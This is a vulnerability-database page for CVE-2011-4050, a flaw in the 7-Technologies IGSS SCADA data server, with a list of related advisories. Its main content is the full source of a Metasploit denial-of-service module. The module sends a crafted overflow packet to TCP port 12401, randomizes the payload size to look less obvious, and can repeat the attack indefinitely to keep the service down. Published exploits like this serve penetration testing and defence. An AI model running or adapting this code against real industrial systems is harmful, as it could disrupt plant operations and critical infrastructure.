Lucene search
K

7-Technologies IGSS 9 IGSSdataServer.exe Denial Of Service

🗓️ 31 Aug 2024 00:00:00Reported by jfa, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 193 Views

The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be brought down by sending a crafted TCP packet to port 12401. This should also work for version <= 9.0.0.1120, but that version hasn't been tested

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2011-4050
29 May 201815:50
circl
Check Point Advisories
7T Interactive Graphical SCADA System File Operations Buffer Overflows (CVE-2011-1567; CVE-2011-4050)
15 May 201100:00
checkpoint_advisories
Check Point Advisories
7-Technologies IGSS 9 IGSSdataServer.exe Denial of Service (CVE-2011-4050)
23 Dec 201200:00
checkpoint_advisories
CVE
CVE-2011-4050
27 Dec 201102:00
cve
Cvelist
CVE-2011-4050
27 Dec 201102:00
cvelist
ICS
7-Technologies Data Server Denial of Service
3 Sep 201106:00
ics
Metasploit
7-Technologies IGSS 9 IGSSdataServer.exe DoS
20 Jan 201218:57
metasploit
NVD
CVE-2011-4050
27 Dec 201104:01
nvd
Prion
Buffer overflow
27 Dec 201104:01
prion
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => '7-Technologies IGSS 9 IGSSdataServer.exe DoS',  
'Description' => %q{  
The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be  
brought down by sending a crafted TCP packet to port 12401. This should also work  
for version <= 9.0.0.1120, but that version hasn't been tested.  
},  
'Author' =>  
[  
'jfa', # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2011-4050' ],  
[ 'OSVDB', '77976' ],  
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-335-01' ]  
],  
'DisclosureDate' => '2011-12-20'  
))  
  
register_options(  
[  
Opt::RPORT(12401),  
OptInt.new('COUNT', [ true, "DoS IGSSdataServer.exe this many times. 0 for infinite loop.", 1]),  
OptInt.new('SLEEP', [ true, 'Number of seconds to sleep between sending DoS packet.', 3])  
])  
end  
  
def run  
#  
#dos = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"  
#dos << Rex::Text.rand_text_alpha(5014)  
#  
# I should have looked at the other MSF modules before I started doing it the hard way.  
# Lesson learn, thanks hal. Mostly borrowed from igss9_igssdataserver_rename  
#  
  
count = datastore['COUNT']  
snore = datastore['SLEEP']  
times = 1  
  
# Someone wants to keep a good service down.  
if count == 0  
count = 1  
infinite = true  
end  
  
#  
# The port seems to stay open open until someone clicks "Close the program".  
# Once they click "Close the program" (Windows 7), the port becomes unavailable.  
#  
# However, even though it's open, it doesn't seem to handle any valid requests.  
#  
while count >= 1 do  
## Randomize the buffer size to make it a teeny tiny bit less obvious  
size = Random.new.rand(1024..5014)  
  
dos = "\x00\x04" #Funky size causes overflow  
dos << "\x01\x00\x34\x12"  
dos << "\x0D" #Opcode  
dos << "\x00\x00\x00\x00\x00\x00\x00"  
dos << "\x01" #Flag  
dos << "\x00\x00\x00\x01\x00\x00\x00"  
dos << Rex::Text.rand_text_alpha(size)  
  
begin  
connect  
sock.put(dos)  
print_status("Sending DoS packet #{times}, size: #{dos.length} ...")  
disconnect  
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED  
print_status("Connection refused. Someone may have clicked 'Close the program'")  
end  
  
if infinite  
select(nil, nil, nil, snore)  
times += 1  
else  
select(nil, nil, nil, snore) if count > 1  
count -= 1  
times += 1  
end  
  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation